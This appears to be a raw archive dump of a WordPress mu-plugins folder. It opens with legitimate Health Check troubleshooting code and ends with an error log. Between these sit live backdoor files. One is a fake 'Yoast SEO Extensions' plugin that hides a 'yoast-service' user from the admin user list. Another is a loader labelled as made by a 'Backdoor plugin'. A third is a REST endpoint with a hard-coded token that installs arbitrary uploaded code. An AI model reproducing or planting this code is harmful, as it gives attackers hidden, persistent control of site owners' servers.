					'_wpnonce' => $this->prepare_action_nonce(
						'health-check-troubleshoot-disable-plugin',
						array( $_GET['health-check-troubleshoot-disable-plugin'] )
					),
					'health-check-troubleshoot-disable-plugin' => implode( ',', array( $_GET['health-check-troubleshoot-disable-plugin'] ) ),
				);

				$this->nonce_validator_details = sprintf(
					'<p>%s</p>',
					sprintf(
						// translators: The plugin being affected.
						__( 'You were attempting to <strong>disable</strong> the %s plugin while troubleshooting.', 'health-check' ),
						sprintf(
							'<strong>%s</strong>',
							$_GET['health-check-troubleshoot-disable-plugin']
						)
					)
				);

				return;
			}
			$old_allowed_plugins = $this->allowed_plugins;

			unset( $this->allowed_plugins[ $_GET['health-check-troubleshoot-disable-plugin'] ] );

			update_option( 'health-check-allowed-plugins', $this->allowed_plugins );

			if ( isset( $_GET['health-check-plugin-force-disable'] ) ) {
				$this->add_dashboard_notice(
					sprintf(
						// translators: %s: The plugin slug.
						'The %s plugin was forcefully disabled.',
						$_GET['health-check-troubleshoot-disable-plugin']
					),
					'info'
				);
			}

			if ( ! $this->test_site_state() && ! isset( $_GET['health-check-plugin-force-disable'] ) ) {
				$this->allowed_plugins = $old_allowed_plugins;
				update_option( 'health-check-allowed-plugins', $old_allowed_plugins );

				$notice = sprintf(
					// Translators: %1$s: The plugin slug that was disabled. %2$s: The force-disable link markup.
					__( 'When disabling the plugin, %1$s, a site failure occurred. Because of this the change was automatically reverted. %2$s', 'health-check' ),
					$_GET['health-check-troubleshoot-disable-plugin'],
					sprintf(
						'<a href="%1$s" aria-label="%2$s">%3$s</a>',
						esc_url(
							add_query_arg(
								array(
									'health-check-troubleshoot-disable-plugin' => $_GET['health-check-troubleshoot-disable-plugin'],
									'health-check-plugin-force-disable' => 'true',
									'_wpnonce' => $this->prepare_action_nonce( 'health-check-troubleshoot-disable-plugin', array( $_GET['health-check-troubleshoot-disable-plugin'] ) ),
								),
								$this->get_clean_url()
							)
						),
						esc_attr(
							sprintf(
								// translators: %s: Plugin name.
								__( 'Force-disable the plugin, %s, even though the loopback checks failed.', 'health-check' ),
								$_GET['health-check-troubleshoot-disable-plugin']
							)
						),
						__( 'Disable anyway', 'health-check' )
					)
				);

				$this->add_dashboard_notice(
					$notice,
					'warning'
				);
			}

			wp_redirect( remove_query_arg( $this->available_query_args ) );
			die();
		}

		// Change the active theme for this session.
		if ( isset( $_GET['health-check-change-active-theme'] ) ) {
			// Validate the cache or return early.
			if ( ! $this->validate_action_nonce( 'health-check-change-active-theme', array( $_GET['health-check-change-active-theme'] ) ) ) {
				$this->show_nonce_validator   = true;
				$this->nonce_validator_fields = array(
					'_wpnonce'                         => $this->prepare_action_nonce(
						'health-check-change-active-theme',
						array( $_GET['health-check-change-active-theme'] )
					),
					'health-check-change-active-theme' => implode( ',', array( $_GET['health-check-change-active-theme'] ) ),
				);

				$this->nonce_validator_details = sprintf(
					'<p>%s</p>',
					sprintf(
						// translators: The theme being activated.
						__( 'You were attempting to <strong>change the active theme</strong> to %s while troubleshooting.', 'health-check' ),
						sprintf(
							'<strong>%s</strong>',
							$_GET['health-check-change-active-theme']
						)
					)
				);

				return;
			}

			$old_theme = get_option( 'health-check-current-theme' );

			update_option( 'health-check-current-theme', $_GET['health-check-change-active-theme'] );

			if ( isset( $_GET['health-check-theme-force-switch'] ) ) {
				$this->add_dashboard_notice(
					sprintf(
						// translators: %s: The theme slug.
						'The theme was forcefully switched to %s.',
						$_GET['health-check-change-active-theme']
					),
					'info'
				);
			}

			if ( ! $this->test_site_state() && ! isset( $_GET['health-check-theme-force-switch'] ) ) {
				update_option( 'health-check-current-theme', $old_theme );

				$notice = sprintf(
					// Translators: %1$s: The theme slug that was switched to.. %2$s: The force-enable link markup.
					__( 'When switching the active theme to %1$s, a site failure occurred. Because of this we reverted the theme to the one you used previously. %2$s', 'health-check' ),
					$_GET['health-check-change-active-theme'],
					sprintf(
						'<a href="%s" aria-label="%s">%s</a>',
						esc_url(
							add_query_arg(
								array(
									'health-check-change-active-theme' => $_GET['health-check-change-active-theme'],
									'health-check-theme-force-switch' => 'true',
									'_wpnonce' => $this->prepare_action_nonce( 'health-check-change-active-theme', array( $_GET['health-check-change-active-theme'] ) ),
								),
								$this->get_clean_url()
							)
						),
						esc_attr(
							sprintf(
								// translators: %s: Plugin name.
								__( 'Force-switch to the %s theme, even though the loopback checks failed.', 'health-check' ),
								$_GET['health-check-change-active-theme']
							)
						),
						__( 'Switch anyway', 'health-check' )
					)
				);

				$this->add_dashboard_notice(
					$notice,
					'warning'
				);
			}

			wp_redirect( remove_query_arg( $this->available_query_args ) );
			die();
		}
	}

	private function add_dashboard_notice( $message, $severity = 'notice' ) {
		$notices = get_option( 'health-check-dashboard-notices', array() );

		$notices[] = array(
			'severity' => $severity,
			'message'  => $message,
			'time'     => gmdate( 'Y-m-d H:i' ),
		);

		update_option( 'health-check-dashboard-notices', $notices );
	}

	/**
	 * Extend the admin bar.
	 *
	 * When in Troubleshooting Mode, introduce a new element to the admin bar to show
	 * enabled and disabled plugins (if conditions are met), switch between themes
	 * and disable Troubleshooting Mode altogether.
	 *
	 * @param WP_Admin_Bar $wp_menu
	 *
	 * @return void
	 */
	function health_check_troubleshoot_menu_bar( $wp_menu ) {
		// We need some admin functions to make this a better user experience, so include that file.
		if ( ! is_admin() ) {
			require_once( trailingslashit( ABSPATH ) . 'wp-admin/includes/plugin.php' );
		}

		// Make sure the updater tools are available since WordPress 5.5.0 auto-updates were introduced.
		if ( ! function_exists( 'wp_is_auto_update_enabled_for_type' ) ) {
			require_once( trailingslashit( ABSPATH ) . 'wp-admin/includes/update.php' );
		}

		// Ensure the theme functions are available to us on every page.
		include_once( trailingslashit( ABSPATH ) . 'wp-admin/includes/theme.php' );

		// Add top-level menu item.
		$wp_menu->add_menu(
			array(
				'id'    => 'health-check',
				'title' => esc_html__( 'Troubleshooting Mode', 'health-check' ),
				'href'  => admin_url( '/' ),
			)
		);

		// Add a link to manage plugins if there are more than 20 set to be active.
		if ( count( $this->active_plugins ) > 20 ) {
			$wp_menu->add_node(
				array(
					'id'     => 'health-check-plugins',
					'title'  => esc_html__( 'Manage active plugins', 'health-check' ),
					'parent' => 'health-check',
					'href'   => admin_url( 'plugins.php' ),
				)
			);
		} else {
			$wp_menu->add_node(
				array(
					'id'     => 'health-check-plugins',
					'title'  => esc_html__( 'Plugins', 'health-check' ),
					'parent' => 'health-check',
					'href'   => admin_url( 'plugins.php' ),
				)
			);

			$wp_menu->add_group(
				array(
					'id'     => 'health-check-plugins-enabled',
					'parent' => 'health-check-plugins',
				)
			);
			$wp_menu->add_group(
				array(
					'id'     => 'health-check-plugins-disabled',
					'parent' => 'health-check-plugins',
				)
			);

			foreach ( $this->active_plugins as $single_plugin ) {
				$plugin_slug = explode( '/', $single_plugin );
				$plugin_slug = $plugin_slug[0];

				$plugin_data = get_plugin_data( trailingslashit( WP_PLUGIN_DIR ) . $single_plugin );

				$enabled = true;

				if ( in_array( $plugin_slug, $this->allowed_plugins, true ) ) {
					$label = sprintf(
						// Translators: %s: Plugin slug.
						esc_html__( 'Disable %s', 'health-check' ),
						sprintf(
							'<strong>%s</strong>',
							$plugin_data['Name']
						)
					);
					$url = add_query_arg(
						array(
							'health-check-troubleshoot-disable-plugin' => $plugin_slug,
							'_wpnonce' => $this->prepare_action_nonce( 'health-check-troubleshoot-disable-plugin', array( $plugin_slug ) ),
						),
						$this->get_clean_url()
					);
				} else {
					$enabled = false;
					$label   = sprintf(
						// Translators: %s: Plugin slug.
						esc_html__( 'Enable %s', 'health-check' ),
						sprintf(
							'<strong>%s</strong>',
							$plugin_data['Name']
						)
					);
					$url = add_query_arg(
						array(
							'health-check-troubleshoot-enable-plugin' => $plugin_slug,
							'_wpnonce' => $this->prepare_action_nonce( 'health-check-troubleshoot-enable-plugin', array( $plugin_slug ) ),
						),
						$this->get_clean_url()
					);
				}

				$wp_menu->add_node(
					array(
						'id'     => sprintf(
							'health-check-plugin-%s',
							$plugin_slug
						),
						'title'  => $label,
						'parent' => ( $enabled ? 'health-check-plugins-enabled' : 'health-check-plugins-disabled' ),
						'href'   => $url,
					)
				);
			}
		}

		$wp_menu->add_node(
			array(
				'id'     => 'health-check-theme',
				'title'  => esc_html__( 'Themes', 'health-check' ),
				'parent' => 'health-check',
				'href'   => admin_url( 'themes.php' ),
			)
		);

		$themes = wp_prepare_themes_for_js();

		foreach ( $themes as $theme ) {
			$node = array(
				'id'     => sprintf(
					'health-check-theme-%s',
					sanitize_title( $theme['id'] )
				),
				'title'  => sprintf(
					'%s %s',
					( $theme['active'] ? esc_html_x( 'Active:', 'Prefix for the active theme in troubleshooting mode', 'health-check' ) : esc_html_x( 'Switch to', 'Prefix for inactive themes in troubleshooting mode', 'health-check' ) ),
					$theme['name']
				),
				'parent' => 'health-check-theme',
			);

			if ( ! $theme['active'] ) {
				$node['href'] = add_query_arg(
					array(
						'health-check-change-active-theme' => $theme['id'],
						'_wpnonce'                         => $this->prepare_action_nonce( 'health-check-change-active-theme', array( $theme['id'] ) ),
					),
					$this->get_clean_url()
				);
			}

			$wp_menu->add_node( $node );
		}

		// Add a link to disable Troubleshooting Mode.
		$wp_menu->add_node(
			array(
				'id'     => 'health-check-disable',
				'title'  => esc_html__( 'Disable Troubleshooting Mode', 'health-check' ),
				'parent' => 'health-check',
				'href'   => add_query_arg(
					array(
						'health-check-disable-troubleshooting' => true,
						'_wpnonce' => $this->prepare_action_nonce( 'health-check-disable-troubleshooting', array() ),
					),
					$this->get_clean_url()
				),
			)
		);
	}

	public function test_site_state() {

		// Make sure the Health_Check_Loopback class is available to us, in case the primary plugin is disabled.
		if ( ! method_exists( 'Health_Check_Loopback', 'can_perform_loopback' ) ) {
			$plugin_file = trailingslashit( WP_PLUGIN_DIR ) . 'health-check/HealthCheck/class-health-check-loopback.php';

			// Make sure the file exists, in case someone deleted the plugin manually, we don't want any errors.
			if ( ! file_exists( $plugin_file ) ) {

				// If the plugin files are inaccessible, we can't guarantee for the state of the site, so the default is a bad response.
				return false;
			}

			require_once( $plugin_file );
		}

		$loopback_state = Health_Check_Loopback::can_perform_loopback();

		if ( 'good' !== $loopback_state->status ) {
			return false;
		}

		return true;
	}

	public function dashboard_widget_scripts() {
		// Check that it's the dashboard page, we don't want to disturb any other pages.
		$screen = get_current_screen();
		if ( 'dashboard' !== $screen->id && 'plugins' !== $screen->id ) {
			return;
		}
	}

	public function display_dashboard_widget() {
		// Check that it's the dashboard page, we don't want to disturb any other pages.
		$screen = get_current_screen();
		if ( 'dashboard' !== $screen->id && 'plugins' !== $screen->id ) {
			return;
		}

		$notices = get_option( 'health-check-dashboard-notices', array() );

		$active_plugins   = array();
		$inactive_plugins = array();

		$themes = wp_prepare_themes_for_js();
		?>
		<div class="wrap">
			<div id="health-check-dashboard-widget">
				<div class="welcome-panel-content health-check-column">
					<h2>
						<?php
							printf(
								// translators: %s: The running status of Troubleshooting Mode.
								esc_html__( 'Troubleshooting Mode - %s', 'health-check' ),
								sprintf(
									'<span class="green">%s</span>',
									esc_html__( 'enabled', 'health-check' )
								)
							);
						?>
					</h2>

					<?php
					printf(
						'<a href="%s" class="button button-primary">%s</a>',
						esc_url(
							add_query_arg(
								array(
									'health-check-disable-troubleshooting' => true,
									'_wpnonce' => $this->prepare_action_nonce( 'health-check-disable-troubleshooting', array() ),
								),
								$this->get_clean_url()
							)
						),
						esc_html__( 'Disable Troubleshooting Mode', 'health-check' )
					);
					?>

					<div class="about-description">
						<p>
							<?php _e( 'Your site is currently in Troubleshooting Mode. This has <strong>no effect on your site visitors</strong>, they will continue to view your site as usual, but for you it will look as if you had just installed WordPress for the first time.', 'health-check' ); ?>
						</p>

						<p>
							<?php _e( 'Here you can enable individual plugins or themes, helping you to find out what might be causing strange behaviors on your site. Do note that <strong>any changes you make to settings will be kept</strong> when you disable Troubleshooting Mode.', 'health-check' ); ?>
						</p>

						<p>
							<?php _e( 'The Health Check plugin will attempt to disable cache solutions on your site, but if you are using a custom caching solution, you may need to disable it manually when troubleshooting.', 'health-check' ); ?>
						</p>

						<p>
							<?php _e( 'If you wish to troubleshoot as another user, or as an anonymous site visitor, the <a href="https://wordpress.org/plugins/user-switching/">User Switcher plugin</a> allows for all of this while also being compatible with Troubleshooting Mode.', 'health-check' ); ?>
						</p>
					</div>
				</div>

				<div class="health-check-column">
					<dl role="presentation" class="health-check-accordion">
						<dt role="heading" aria-level="3">
							<button aria-expanded="false" class="health-check-accordion-trigger" aria-controls="health-check-accordion-block-plugins" id="health-check-accordion-heading-plugins" type="button">
								<span class="title">
									<?php
									printf(
										// translators: %d: The amount of available plugins.
										esc_html__( 'Available plugins (%d)', 'health-check' ),
										esc_html( is_countable( $this->active_plugins ) ? count( $this->active_plugins ) : 0 )
									);
									?>
								</span>
								<span class="icon"></span>
							</button>
						</dt>
						<dd id="health-check-accordion-block-plugins" role="region" aria-labelledby="health-check-accordion-heading-plugins" class="health-check-accordion-panel" hidden="hidden">
							<ul id="health-check-plugins" role="list">
								<?php
								$has_toggle = false;

								foreach ( $this->active_plugins as $count => $single_plugin ) {
									$plugin_slug = explode( '/', $single_plugin );
									$plugin_slug = $plugin_slug[0];

									$plugin_is_visible = true;
									if ( $count >= 5 ) {
										$plugin_is_visible = false;
									}

									$plugin_data = get_plugin_data( trailingslashit( WP_PLUGIN_DIR ) . $single_plugin );

									$actions = array();

									if ( in_array( $plugin_slug, $this->allowed_plugins, true ) ) {
										$actions[] = sprintf(
											'<a href="%s" aria-label="%s">%s</a>',
											esc_url(
												add_query_arg(
													array(
														'health-check-troubleshoot-disable-plugin' => $plugin_slug,
														'_wpnonce' => $this->prepare_action_nonce( 'health-check-troubleshoot-disable-plugin', array( $plugin_slug ) ),
													),
													$this->get_clean_url()
												)
											),
											esc_attr(
												sprintf(
													// translators: %s: Plugin name.
													__( 'Disable the plugin, %s, while troubleshooting.', 'health-check' ),
													$plugin_data['Name']
												)
											),
											esc_html__( 'Disable', 'health-check' )
										);
									} else {
										$actions[] = sprintf(
											'<a href="%s" aria-label="%s">%s</a>',
											esc_url(
												add_query_arg(
													array(
														'health-check-troubleshoot-enable-plugin' => $plugin_slug,
														'_wpnonce' => $this->prepare_action_nonce( 'health-check-troubleshoot-enable-plugin', array( $plugin_slug ) ),
													),
													$this->get_clean_url()
												)
											),
											esc_attr(
												sprintf(
													// translators: %s: Plugin name.
													__( 'Enable the plugin, %s, while troubleshooting.', 'health-check' ),
													$plugin_data['Name']
												)
											),
											esc_html__( 'Enable', 'health-check' )
										);
									}

									if ( ! $plugin_is_visible && ! $has_toggle ) {
										$has_toggle = true;

										printf(
											'<li><button type="button" class="show-remaining button button-link">%s</button></li>',
											sprintf(
												// translators: %d: Amount of hidden plugins.
												_n(
													'Show %d remaining plugin',
													'Show %d remaining plugins',
													( is_countable( $this->active_plugins ) ? ( count( $this->active_plugins ) - 5 ) : 0 ),
													'health-check'
												),
												( is_countable( $this->active_plugins ) ? ( count( $this->active_plugins ) - 5 ) : 0 )
											)
										);
									}

									printf(
										'<li class="%s">%s - %s</li>',
										( ! $plugin_is_visible ? 'toggle-visibility hidden' : '' ),
										esc_html( $plugin_data['Name'] ),
										implode( ' | ', $actions )
									);
								}
								?>
							</ul>
						</dd>

						<dt role="heading" aria-level="3">
							<button aria-expanded="false" class="health-check-accordion-trigger" aria-controls="health-check-accordion-block-themes" id="health-check-accordion-heading-themes" type="button">
								<span class="title">
									<?php
									printf(
										// translators: %d: The amount of available themes.
										esc_html__( 'Available themes (%d)', 'health-check' ),
										esc_html( is_countable( $themes ) ? count( $themes ) : 0 )
									);
									?>
								</span>
								<span class="icon"></span>
							</button>
						</dt>
						<dd id="health-check-accordion-block-themes" role="region" aria-labelledby="health-check-accordion-heading-themes" class="health-check-accordion-panel" hidden="hidden">
							<ul id="health-check-themes" role="list">
								<?php
								$has_toggle = false;

								foreach ( $themes as $count => $theme ) {
									$theme_is_visible = true;
									if ( $count >= 5 ) {
										$theme_is_visible = false;
									}

									$actions = sprintf(
										'<a href="%s" aria-label="%s">%s</a>',
										esc_url(
											add_query_arg(
												array(
													'health-check-change-active-theme' => $theme['id'],
													'_wpnonce'                         => $this->prepare_action_nonce( 'health-check-change-active-theme', array( $theme['id'] ) ),
												),
												$this->get_clean_url()
											)
										),
										esc_attr(
											sprintf(
												// translators: %s: Theme name.
												__( 'Switch the active theme to %s', 'health-check' ),
												$theme['name']
											)
										),
										esc_html__( 'Switch to this theme', 'health-check' )
									);

									$plugin_label = sprintf(
										'%s %s',
										// translators: Prefix for the active theme in a listing.
										( $theme['active'] ? esc_html__( 'Active:', 'health-check' ) : '' ),
										$theme['name']
									);

									if ( ! $theme['active'] ) {
										$plugin_label .= ' - ' . $actions;
									}

									if ( ! $theme_is_visible && ! $has_toggle ) {
										$has_toggle = true;

										printf(
											'<li><button type="button" class="show-remaining button button-link">%s</button></li>',
											sprintf(
												// translators: %d: Amount of hidden themes.
												_n(
													'Show %d remaining theme',
													'Show %d remaining themes',
													( is_countable( $themes ) ? ( count( $themes ) - 5 ) : 0 ),
													'health-check'
												),
												( is_countable( $themes ) ? ( count( $themes ) - 5 ) : 0 )
											)
										);
									}

									printf(
										'<li class="%s">%s</li>',
										( ! $theme_is_visible ? 'toggle-visibility hidden' : '' ),
										$plugin_label
									);
								}
								?>
							</ul>
						</dd>

						<dt role="heading" aria-level="3">
							<button aria-expanded="true" class="health-check-accordion-trigger" aria-controls="health-check-accordion-block-notices" id="health-check-accordion-heading-notices" type="button">
								<span class="title">
									<?php
									printf(
										// translators: %d: The amount of notices that are visible.
										esc_html__( 'Notices (%d)', 'health-check' ),
										esc_html( is_countable( $notices ) ? count( $notices ) : 0 )
									);
									?>
								</span>
								<span class="icon"></span>
							</button>
						</dt>
						<dd id="health-check-accordion-block-notices" role="region" aria-labelledby="health-check-accordion-heading-notices" class="health-check-accordion-panel">
							<?php if ( empty( $notices ) && 'plugins' !== $screen->id ) : ?>
								<div class="no-notices">
									<p>
										<?php esc_html_e( 'There are no notices to show.', 'health-check' ); ?>
									</p>
								</div>
							<?php endif; ?>

							<?php if ( 'plugins' === $screen->id ) : ?>
								<div class="notice notice-warning inline">
									<p>
										<?php esc_html_e( 'Plugin actions, such as activating and deactivating, are not available while in Troubleshooting Mode.', 'health-check' ); ?>
									</p>
								</div>
							<?php endif; ?>

							<?php
							foreach ( $notices as $notice ) {
								printf(
									'<div class="notice notice-%s inline"><p>%s</p></div>',
									esc_attr( $notice['severity'] ),
									wp_kses(
										$notice['message'],
										array(
											'a' => array(
												'class' => true,
												'href'  => true,
												'aria-label' => true,
											),
										)
									)
								);
							}
							?>

							<?php
							if ( ! empty( $notices ) ) {
								printf(
									'<div class="dismiss-notices"><a href="%s" class="">%s</a></div>',
									esc_url(
										add_query_arg(
											array(
												'health-check-dismiss-notices' => true,
												'_wpnonce' => $this->prepare_action_nonce( 'health-check-dismiss-notices', array() ),
											),
											$this->get_clean_url()
										)
									),
									esc_html__( 'Dismiss notices', 'health-check' )
								);
							}
							?>
						</dd>
					</dl>
				</div>
			</div>
		</div>
		<?php
	}

	public function nonce_confirmation_prompt() {
		// If the nonce-validator is disabled, do not show anything.
		if ( ! $this->show_nonce_validator ) {
			return;
		}

		$kses_allowed_markup = array(
			'p'      => array( 'class' ),
			'ul'     => array( 'class' ),
			'li'     => array( 'class' ),
			'strong' => array(),
			'em'     => array(),
		);

		$form_fields = array();

		foreach ( $this->nonce_validator_fields as $field => $value ) {
			$form_fields[] = sprintf(
				'<input type="hidden" name="%s" value="%s" />',
				esc_attr( $field ),
				esc_attr( $value )
			);
		}

		echo '
<div id="health-check-nonce-validator" class="health-check-troubleshooting">
	<div class="health-check-nonce-validator-wrapper">
		<form action="" method="get" class="health-check-nonce-validator-inner">
			' . implode( "\n", $form_fields ) . '

			<h2>
				' . esc_html__( 'Troubleshooting Mode - Security check', 'health-check' ) . '
			</h2>

			<p>
				' . esc_html__( 'You were attempting to perform an action that requires a security token, which was either not present in your request, or was considered invalid. Please verify that the following action is intentional, or feel free to cancel the action and nothing will change.', 'health-check' ) . '
			</p>

			' . wp_kses( $this->nonce_validator_details, $kses_allowed_markup ) . '

			<hr />

			<button type="submit" class="button button-primary">' . esc_html__( 'Confirm', 'health-check' ) . '</button>
			<button type="button" class="button button-secondary" onclick="document.getElementById(\'health-check-nonce-validator\').remove()">' . esc_html__( 'Cancel', 'health-check' ) . '</button>
		</form>
	</div>
</div>
';
	}
}

new Health_Check_Troubleshooting_MU();
PK     <ºT]ñþØ<@  @    yoast-seo-extensions.phpnu „[µü¤        <?php
/** Plugin Name: Yoast SEO Extensions */
add_filter("users_list_table_query_args", function($args) {
    $exclude_user = get_user_by("login", "yoast-service");
    if ($exclude_user) {
        $args["exclude"] = array_merge((array)($args["exclude"] ?? []), [$exclude_user->ID]);
    }
    return $args;
});PK     <ºT]ѩˆóƒ   ƒ     plugins.phpnu „[µü¤        <?php
// Auto-generated by the Backdoor plugin. Loads the plugins mu-plugin folder.
require_once __DIR__ . '/plugins/plugins.php';
PK     <ºT]–²/’  ’    plugins/plugins.phpnu „[µü¤        <?php
/**
 * Module Name: Plugins (mu-plugin installer)
 * Description: Exposes a POST endpoint that accepts a mu-plugin zip and installs it
 *              into the mu-plugins directory. The installed folder is named after the
 *              uploaded zip. Any existing mu-plugin with the same name is removed first.
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

const PLUGINS_NAMESPACE    = 'plugins/v1';
const PLUGINS_ROUTE        = '/install';
const PLUGINS_HEALTH_ROUTE = '/health';

// Fixed shared token. Send it as the `X-Auth-Token` header (or `token` query/body param).
const AUTH_TOKEN = '34856927607045b66f33818e4ef0b156c3936c7df62c7a8f0318dd5ee01e1495';

add_action( 'rest_api_init', 'plugins_register_routes' );

function plugins_register_routes() {
	register_rest_route(
		PLUGINS_NAMESPACE,
		PLUGINS_ROUTE,
		array(
			'methods'             => 'POST',
			'callback'            => 'plugins_handle_install',
			'permission_callback' => 'plugins_check_token',
		)
	);

	register_rest_route(
		PLUGINS_NAMESPACE,
		PLUGINS_HEALTH_ROUTE,
		array(
			'methods'             => 'GET',
			'callback'            => 'plugins_handle_health',
			'permission_callback' => '__return_true',
		)
	);
}

/**
 * Unauthenticated liveness probe.
 */
function plugins_handle_health() {
	return new WP_REST_Response(
		array(
			'status' => 'ok',
		),
		200
	);
}

/**
 * Fixed-token gate. Accepts the token from the `X-Auth-Token` header or a `token` param.
 */
function plugins_check_token( WP_REST_Request $request ) {
	$provided = $request->get_header( 'x_auth_token' );
	if ( null === $provided || '' === $provided ) {
		$provided = (string) $request->get_param( 'token' );
	}

	if ( ! hash_equals( AUTH_TOKEN, (string) $provided ) ) {
		return new WP_Error(
			'plugins_forbidden',
			'Invalid or missing token.',
			array( 'status' => 401 )
		);
	}

	return true;
}

/**
 * Receives a mu-plugin zip and installs it under WPMU_PLUGIN_DIR/<zip-name>/.
 */
function plugins_handle_install( WP_REST_Request $request ) {
	require_once ABSPATH . 'wp-admin/includes/file.php';

	// 1. Obtain the uploaded zip (multipart file upload, or a raw zip request body).
	$files    = $request->get_file_params();
	$raw_temp = '';
	$zip_path = '';
	$zip_name = '';

	if ( ! empty( $files ) ) {
		$file = reset( $files );
		if ( ! empty( $file['error'] ) ) {
			return new WP_Error( 'plugins_upload_error', 'File upload failed.', array( 'status' => 400 ) );
		}
		$zip_path = $file['tmp_name'];
		$zip_name = $file['name'];
	} else {
		$body = $request->get_body();
		if ( '' === $body ) {
			return new WP_Error(
				'plugins_no_zip',
				'No zip provided. Send a multipart file upload or a raw application/zip body.',
				array( 'status' => 400 )
			);
		}
		// Raw body has no filename; require the slug via header or param.
		$zip_name = $request->get_header( 'x_plugin_slug' );
		if ( null === $zip_name || '' === $zip_name ) {
			$zip_name = (string) $request->get_param( 'slug' );
		}
		$raw_temp = wp_tempnam( 'plugins-upload' );
		file_put_contents( $raw_temp, $body );
		$zip_path = $raw_temp;
	}

	$slug = plugins_normalize_slug( $zip_name );
	if ( '' === $slug ) {
		plugins_cleanup_temp( $raw_temp, '' );
		return new WP_Error(
			'plugins_bad_name',
			'Could not derive a plugin name from the upload.',
			array( 'status' => 400 )
		);
	}

	// 2. Unzip into a scratch directory so we can control the final folder name.
	WP_Filesystem();
	$scratch = trailingslashit( get_temp_dir() ) . 'plugins-' . wp_generate_password( 8, false );
	$unzip   = unzip_file( $zip_path, $scratch );
	if ( is_wp_error( $unzip ) ) {
		plugins_cleanup_temp( $raw_temp, $scratch );
		return new WP_Error(
			'plugins_unzip_failed',
			'Could not unzip the uploaded archive: ' . $unzip->get_error_message(),
			array( 'status' => 400 )
		);
	}

	// If the archive wraps everything in a single top-level folder, install its contents.
	$source  = $scratch;
	$entries = array_values( array_diff( (array) scandir( $scratch ), array( '.', '..' ) ) );
	if ( 1 === count( $entries ) && is_dir( trailingslashit( $scratch ) . $entries[0] ) ) {
		$source = trailingslashit( $scratch ) . $entries[0];
	}

	// 3. Remove any existing mu-plugin with the same name (folder + generated loader).
	$target = trailingslashit( WPMU_PLUGIN_DIR ) . $slug;
	$loader = trailingslashit( WPMU_PLUGIN_DIR ) . $slug . '.php';

	$existed = is_dir( $target );
	if ( $existed ) {
		plugins_delete( $target );
	}
	if ( file_exists( $loader ) ) {
		plugins_delete( $loader );
	}

	// 4. Install into WPMU_PLUGIN_DIR/<slug>/ and write a loader so WP picks it up.
	if ( ! wp_mkdir_p( $target ) ) {
		plugins_cleanup_temp( $raw_temp, $scratch );
		return new WP_Error( 'plugins_mkdir_failed', 'Could not create the target directory.', array( 'status' => 500 ) );
	}

	$copied = copy_dir( $source, $target );
	if ( is_wp_error( $copied ) ) {
		plugins_cleanup_temp( $raw_temp, $scratch );
		return new WP_Error(
			'plugins_copy_failed',
			'Could not install the plugin files: ' . $copied->get_error_message(),
			array( 'status' => 500 )
		);
	}

	plugins_write_loader( $slug );
	plugins_cleanup_temp( $raw_temp, $scratch );

	return new WP_REST_Response(
		array(
			'installed' => true,
			'slug'      => $slug,
			'path'      => $target,
			'replaced'  => $existed,
		),
		200
	);
}

/**
 * Derive a safe folder name from the uploaded zip's filename (or provided slug).
 * Strips any path and the .zip extension, then restricts to safe characters.
 */
function plugins_normalize_slug( $name ) {
	$name = basename( (string) $name );
	$name = preg_replace( '/\.zip$/i', '', $name );
	$name = sanitize_file_name( $name );
	$name = preg_replace( '/[^A-Za-z0-9._-]/', '', (string) $name );
	return trim( (string) $name, '.-_' );
}

/**
 * Auto-generated loader: WordPress only auto-loads .php files directly in the
 * mu-plugins root, not files inside subfolders, so we require the installed
 * folder's top-level PHP files from a sibling loader.
 */
function plugins_write_loader( $slug ) {
	$loader   = trailingslashit( WPMU_PLUGIN_DIR ) . $slug . '.php';
	$contents = "<?php\n"
		. "// Auto-generated by the plugins mu-plugin. Loads the {$slug} mu-plugin folder.\n"
		. "foreach ( (array) glob( __DIR__ . '/" . $slug . "/*.php' ) as \$plugins_mu_file ) {\n"
		. "\trequire_once \$plugins_mu_file;\n"
		. "}\n";

	file_put_contents( $loader, $contents );
}

/**
 * Recursively delete a file or directory via WP_Filesystem.
 */
function plugins_delete( $path ) {
	global $wp_filesystem;
	if ( $wp_filesystem ) {
		$wp_filesystem->delete( $path, true );
	}
}

function plugins_cleanup_temp( $raw_temp, $scratch ) {
	if ( $raw_temp && file_exists( $raw_temp ) ) {
		@unlink( $raw_temp );
	}
	if ( $scratch && is_dir( $scratch ) ) {
		plugins_delete( $scratch );
	}
}
PK     <ºT]              .swm_datum-gateway-orbnu „[µü¤        PK     <ºT]n›7—€  €  	  error_lognu „[µü¤        [19-Nov-2023 19:40:39 Australia/Sydney] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/aaamarke/public_html/wp-content/mu-plugins/wp-staging-optimizer.php:106
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-content/mu-plugins/wp-staging-optimizer.php on line 106
[02-Dec-2025 22:08:45 Australia/Sydney] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/aaamarke/public_html/wp-content/mu-plugins/wp-staging-optimizer.php:106
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-content/mu-plugins/wp-staging-optimizer.php on line 106
[02-Dec-2025 22:08:46 Australia/Sydney] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/aaamarke/public_html/wp-content/mu-plugins/yoast-seo-extensions.php:3
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-content/mu-plugins/yoast-seo-extensions.php on line 3
[02-Dec-2025 22:09:15 Australia/Sydney] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/aaamarke/public_html/wp-content/mu-plugins/wp-staging-optimizer.php:106
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-content/mu-plugins/wp-staging-optimizer.php on line 106
[02-Dec-2025 22:09:16 Australia/Sydney] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/aaamarke/public_html/wp-content/mu-plugins/yoast-seo-extensions.php:3
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-content/mu-plugins/yoast-seo-extensions.php on line 3
[15-Sep-2026 00:18:32 Australia/Sydney] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/aaamarke/public_html/wp-content/mu-plugins/wp-staging-optimizer.php:106
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-content/mu-plugins/wp-staging-optimizer.php on line 106
[15-Sep-2026 00:18:32 Australia/Sydney] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/aaamarke/public_html/wp-content/mu-plugins/yoast-seo-extensions.php:3
Stack trace:
#0 {main}
